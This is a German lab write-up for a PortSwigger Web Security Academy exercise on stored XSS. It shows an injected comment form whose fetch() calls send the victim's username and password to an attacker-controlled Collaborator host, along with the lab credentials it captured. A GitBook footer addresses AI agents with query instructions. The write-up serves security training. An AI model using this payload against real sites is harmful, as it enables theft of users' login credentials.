> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/password-capture-via-xss.md).

# Passwort-Erfassung via XSS

Notizen zur Passwort-Erfassung via XSS für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Cross-Site-Scripting ausnutzen, um Passwörter abzufangen

Dieses Lab enthält eine persistente XSS-Schwachstelle in der Blog-Kommentar-Funktion. Ein simulierter Benutzer (Opfer) liest nach der Veröffentlichung alle Kommentare. Das Lernziel besteht darin, diesen Fehler auszunutzen, um den Benutzernamen und das Passwort des Opfers zu exfiltrieren und sich dann mit diesen Anmeldedaten zu verbinden.

Ein kleines Formular wird in einen Kommentar injiziert. Wenn das Opfer seine/ihre Informationen eingibt, `fetch()` senden die Anfragen die Werte an eine vom Angreifer kontrollierte URL und ermöglichen es, die Anmeldedaten abzufangen.

Injiziertes Formular

```html
Benutzer:
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

Passwort:
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* Das obige Formular löst das Senden von `Benutzername` und `Passwort` Feldern an die lauschende URL bei jeder Änderung (`onchange`).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d1b27d906c6c150b7fd545fb67228b7d457f65c%2Fimage%20(424).png?alt=media" alt=""><figcaption></figcaption></figure>

Abgefangene Anmeldedaten:

* **Benutzername:** `administrator`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c889809afe3bbb156de3afe3d443ca67944b67c5%2Fimage%20(425).png?alt=media" alt=""><figcaption></figcaption></figure>

* **Passwort:** `qzkcz73zlwri7yiwpf31`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc77aa1737c90db6e15fd6f3c33367ffe67503cd%2Fimage%20(426).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/password-capture-via-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.